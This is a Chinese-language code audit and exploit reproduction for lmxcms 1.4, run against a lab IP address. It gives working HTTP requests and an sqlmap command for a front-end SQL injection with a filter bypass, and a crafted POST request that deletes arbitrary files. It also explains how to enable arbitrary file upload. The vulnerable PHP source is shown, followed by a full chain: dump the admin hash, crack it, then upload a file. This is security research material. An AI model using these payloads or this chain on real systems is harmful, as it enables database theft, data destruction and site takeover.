lmxcms1.4代码审计及漏洞复现
lmxcms1.4代码审计及漏洞复现
1.存在漏洞
前台sql注入,后台任意文件删除,任意文件上传
2.漏洞利用
2.1.前台sql注入
GET http://192.168.164.138:81/index.php?m=tags&a=index&name=1 HTTP/1.1
Host: 192.168.164.138:81
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
sqlmap.py -r C:\12.txt --dbms mysql --technique=U -v3 --tamper=chardoubleencode --dbs -p name
2.2后台任意文件删除
POST /admin.php?m=File&a=delete HTTP/1.1
Host: 192.168.164.138:81
Content-Length: 149
Cache-Control: max-age=0
Origin: http://192.168.164.138:81
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.164.138:81/admin.php?m=File&a=imageMain&type=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=e16q1anmjcurape9ti1tviiro0
Connection: close
type=0&delImages=%E5%88%A0%E9%99%A4%E9%80%89%E4%B8%AD%E5%9B%BE%E7%89%87&fid%5B%5D=18%23%23%23%23%23%2Ffile%2Fcate%2F20200327%2F202003271601487709.jpg
修改fid参数即可
2.3后台任意文件上传
在后台基本设置,文件设置中修改上传文件类型,即可实现任意文件上传
3.漏洞分析
3.1前台sql注入
\c\index\TagsAction.class.php
<?php
/**
* 【梦想cms】 http://www.lmxcms.com
*
* Tags控制器
*/
defined('LMXCMS') or exit();
class TagsAction extends HomeAction{
private $data;
private $tagsModel = null;
public function __construct() {
parent::__construct();
$data = p(2,1,1);
$name = string::delHtml($data['name']);
if(!$name) _404();
$name = urldecode($name);
if($this->tagsModel == null) $this->tagsModel = new TagsModel();
$this->data = $this->tagsModel->getNameData($name);
if(!$this->data) _404();
}
public function index(){
$temModel = new parse($this->smarty,$this->config);
echo $temModel->tags($this->data,$this->tagsModel);
}
}
?>
跟踪p函数和delhtml函数
function p($type=1,$pe=false,$sql=false,$mysql=false){
if($type == 1){
$data = $_POST;
}else if($type == 2){
$data = $_GET;
}else{
$data = $type;
}
if($sql) filter_sql($data);
if($mysql) mysql_retain($data);
foreach($data as $k => $v){
if(is_array($v)){
$newdata[$k] = p($v,$pe,$sql,$mysql);
}else{
if($pe){
$newdata[$k] = string::addslashes($v);
}else{
$newdata[$k] = trim($v);
}
}
}
return $newdata;
}
//去掉html标签
public static function delHtml($str){
return strip_tags($str);
}
发现传入的参数首先经过p函数检查关键字,之后通过delhtml函数和url解码之后执行sql语句,
有两种绕过方法,一种是直接对参数进行两次url编码即可绕过,另一种方法是对%进行url编码,%2527 经过两次url解码之后就是‘ 对于过滤的关键字由于使用了strip_tags函数,可以在关键字内添加<>进行绕过,这里我们使用sqlmap自带的绕过脚本进行过滤即可。
3.2后台任意文件删除
由于未对传入数据进行全局过滤,在\c\admin\FileAction.class.php
<?php
/**
* 【梦想cms】 http://www.lmxcms.com
*
* 文件管理控制器
*/
class FileAction extends AdminAction{
private $type; //图片 or 文件
private $fileModel = null;
public function __construct() {
parent::__construct();
$this->type = (int)$_POST['type'] ? (int)$_POST['type'] : (int)$_GET['type'];
if($this->fileModel == null) $this->fileModel = new FileModel();
}
//列表
public function index(){
$count = $this->fileModel->count($this->type);
$page = new page($count,20);
$data = $this->fileModel->getData($this->type,$page->returnLimit());
$this->smarty->assign('num',$count);
$this->smarty->assign('page',$page->html());
$this->smarty->assign('file',$data);
if($this->type){
$this->smarty->display('File/file.html');
}else{
$this->smarty->display('File/image.html');
}
}
//删除
public function delete(){
if(!$_POST['fid']) rewrite::js_back('请选择要删除的文件');
$this->fileModel->delete($_POST);
addlog('删除文件、图片');
rewrite::succ('删除成功');
}
}
?>
跟踪delete函数
public function delete($data){
$param['where'][] = 'type='.$data['type'];
foreach($data['fid'] as $k => $v){
$fileInfo = explode('#####',$v);
$fid[] = $fileInfo[0];
$path[] = trim($fileInfo[1],'/');
}
$fid = implode(',',$fid);
$param['where'][] = 'fid in('.$fid.')';
if(parent::deleteModel($param)){
//删除文件
foreach($path as $v){
file::unLink(ROOT_PATH.$v);
}
}
}
没有对传入的参数进行过滤,可以进行任意文件删除
4.利用链
首先我们可以利用前台的sql注入,得到管理员密码hash
不过管理员密码是经过加密的,
//管理员密码加密
public static function pwdmd5($str){
return md5(sha1($str.$GLOBALS['public']['user_pwd_key']));
}
可以经过爆破得到密码,
之后利用任意文件上传完成整个利用链